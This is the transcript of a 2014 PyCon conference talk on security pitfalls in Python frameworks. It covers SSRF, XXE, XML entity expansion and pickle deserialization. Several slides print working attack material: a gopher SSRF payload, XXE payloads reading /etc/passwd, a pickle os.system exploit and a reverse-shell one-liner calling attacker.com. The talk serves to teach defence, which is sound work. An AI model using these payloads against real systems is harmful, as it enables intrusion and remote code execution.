Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Mike Haworth: Surprise features you didn't ask for

Mike Haworth: Surprise features you didn't ask for

= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Mike Haworth:
Surprise features you didn't ask for
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
@ Kiwi PyCon 2014 - Sunday, 14 Sep 2014 - Track 1
http://kiwi.pycon.org/

**Audience level**

Intermediate

**Description**

Some pitfalls of popular frameworks

**Abstract**

Frameworks enable developers to be enormously productive, but occasionally they include surprisingly unhelpful features. This talk will examine some recent bugs affecting Django as well as other popular frameworks and libraries. We will look at functionality, such as parsing of XML, that just doesn't behave as any reasonable person might expect, how this can be misused and what can be done to avoid the pitfalls.

**YouTube**

https://www.youtube.com/watch?v=1x0XS7jkwzs

New Zealand Python User Group

September 14, 2014
Tweet

More Decks by New Zealand Python User Group

Other Decks in Programming

Transcript

  1. SSRF Example: API test page - User provides URL for

    remote API - Server makes request to API - Displays response to user
  2. SSRF: Bottle app @post('/fetch') def fetch(): url = request.forms.get('url') req

    = urllib2.Request(url) response = urllib2.urlopen(req) return response.read()
  3. SSRF Attacker with SSRF could: - access services on localhost

    - access other hosts in DMZ - bypass host based security restrictions
  4. SSRF Services that rely on host based auth: - memcached

    - Docker’s REST API (not enabled by default) - mongod REST API (read only) - CouchDB - lots more...
  5. SSRF and Python Libs urllib3 and requests libs only accept

    http(s):// - Only likely to be able forge GET urllib, urllib2 and pycurl support file:// - Can read a local file!
  6. Local file read from urllib2 @post('/fetch') def fetch(): url =

    request.forms.get('url') req = urllib2.Request(url) response = urllib2.urlopen(req) return response.read()
  7. SSRF and Python Libs pycurl accepts gopher:// THATS RIGHT, GOPHER!

    Can send any data (except 0x00) just URL encode it
  8. Forging a POST to internal host Forging a request to

    an internal host with gopher: gopher://192.168.43.235:8888/2%50%4f%53%54%20%2f%61%64%64%75%75%73%65%72%20% 48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%69%6e%74%65%72%6e%61 … The receiver sees POST to API from allowed host: POST /internal-api/adduser HTTP/1.1 Host: internal-api.server.local Content-Type: application/x-www-form-urlencoded Content-Length: 49 username=hax0r&password=hax0r
  9. SSRF memcached memcached speaks a plaintext protocol accessible without auth

    on port 11211 http://www.slideshare.net/d0znpp/ssrf-workshop
  10. SSRF memcached Example telnet session with memcache $ telnet localhost

    11211 set mykey 0 0 6 mydata STORED get mykey VALUE mykey 0 6 mydata END
  11. SSRF Bug Bounty There’s a file in the web root

    that can only be accessed from localhost. The file contains a bitcoin private key http://blog.fin1te.net/
  12. XML Parsing XML from Bottle @post('/lxml') def lxml(): from lxml

    import etree tree = etree.parse(request.body) return tree.getroot().text
  13. XML Entities Submit this: <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY

    author “John Doe”> ]> <root>&author;</root> Parsed Result: <root>John Doe</root>
  14. XML Billion laughs <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol

    "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ... ]> <lolz>&lol9;</lolz>
  15. XML External Entity (XXE) Submit this: <?xml version="1.0"?> <!DOCTYPE doc

    [ <!ENTITY external SYSTEM “file:///etc/passwd”> ]> <doc>&external;</doc> Parsed Result: <doc>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  16. XML and SSRF Submit this: <?xml version="1.0"?> <!DOCTYPE doc [

    <!ENTITY external SYSTEM “\\attackers-ip”> ]> <doc>&external;</doc> Parsed Result: Owned by SMBrelay
  17. XML and SSRF SMB Relay Get Victim to connect to

    us, relay their credentials to target
  18. SAX: Remote DTD retrieval @post('/sax') def sax(): from xml.sax import

    make_parser from xml.sax.handler import ContentHandler parser = make_parser() parser.setContentHandler(myHandler()) parser.parse(request.body)
  19. SAX: Remote DTD retrieval POST /sax HTTP/1.1 Host: localhost:8082 Content-Length:

    105 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo PUBLIC "-//AURA//PENTEST//EN" "http://172.16.1.44:8888"> <foo>SSRF in SAX via DTD retrieval</foo>
  20. SAX: Remote DTD retrieval Netcat listening on the attackers host

    $ nc -l 8888 GET / HTTP/1.0 Host: 172.16.1.44:8888 User-Agent: Python-urllib/1.17
  21. Preventing XML parsing issues Can users control XML content that

    the app parses? Use diffusedxml Review 3rd party code for XML parsing
  22. Session management 1. Opaque token id=<random string> OR 2. Serialized

    data id=<base64(serialize(obj))>.<hmac(k,m)>
  23. Signed cookies Session data is visible to user... which is

    fine unless you store a 2FA challenge in it
  24. Signed Cookies Session data is trusted so its fine to

    perform actions based on its data… unless the session data contains a discount thats already been applied
  25. Signed Cookies Its signed so its totally ok to just

    deserialize data from user… ..unless they can somehow read the secret key ..maybe the app’s vulnerable to XXE?
  26. Serializers: JSON v. Pickle Serializing with JSON risks: - Content

    visible to user - Replay attacks, if nonce not used - Content could be altered if secret exposed
  27. Serializers: JSON v. Pickle Serialize with Pickle, all of the

    risks for JSON plus: Unpickling user data introduces risk of remote code execution How?
  28. Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch

    /tmp/pwnd',)) # this is run when obj is created pickled = pickle.dumps(Exploit()) # serialize Exploit object to text print pickled pickle.loads(pickled) # create Exploit object from text https://blog.nelhage.com/2011/03/exploiting-pickle/
  29. Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch

    /tmp/pwnd',)) # this is run when obj is created pickled = pickle.dumps(Exploit()) print pickled pickle.loads(pickled) https://blog.nelhage.com/2011/03/exploiting-pickle/
  30. Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch

    /tmp/pwnd',)) pickled = pickle.dumps(Exploit()) # serialize Exploit object to text print pickled pickle.loads(pickled) https://blog.nelhage.com/2011/03/exploiting-pickle/
  31. Unpickling user data pickled = pickle.dumps(Exploit()) print pickled # print

    out serialized object pickle.loads(pickled) $ python pickleme.py cposix # this is what pickle “stack language” system # looks like p0 (S'touch /tmp/pwnd' p1
  32. Unpickling user data class Exploit(object): def __reduce__(self): return (os.system, ('touch

    /tmp/pwnd',)) pickled = pickle.dumps(Exploit()) print pickled pickle.loads(pickled) # create Exploit object from text # (this is going to run) https://blog.nelhage.com/2011/03/exploiting-pickle/
  33. Unpickling user data $ python pickleme.py <object code> $ ls

    -l /tmp/pwnd -rw-rw-r-- 1 mike mike 0 Sep 13 11:46 /tmp/pwnd
  34. Signed cookies Since 1.6 Django started using JSON over pickle

    Flask switched to JSON in mid 2013 itsdangerous (good name) defaults to JSON (pickle optional)
  35. Remote Code Execution 1. Read the secret used to sign

    the cookie 2. Write code to give ourselves a shell 3. Use pickle to serialise the code 4. Base64 encode and sign 5. Send cookie to application
  36. Code for remote shell revshell = import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);

    s.connect(("attacker.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  37. Use Pickle to Serialise revshell 1. Read the secret used

    to sign the cookie 2. Write code to give ourselves a shell 3. Use pickle to serialise the code Create object with reduce method that’ll run shellcode http://vudang.com/2013/01/python-web-framework-from-lfr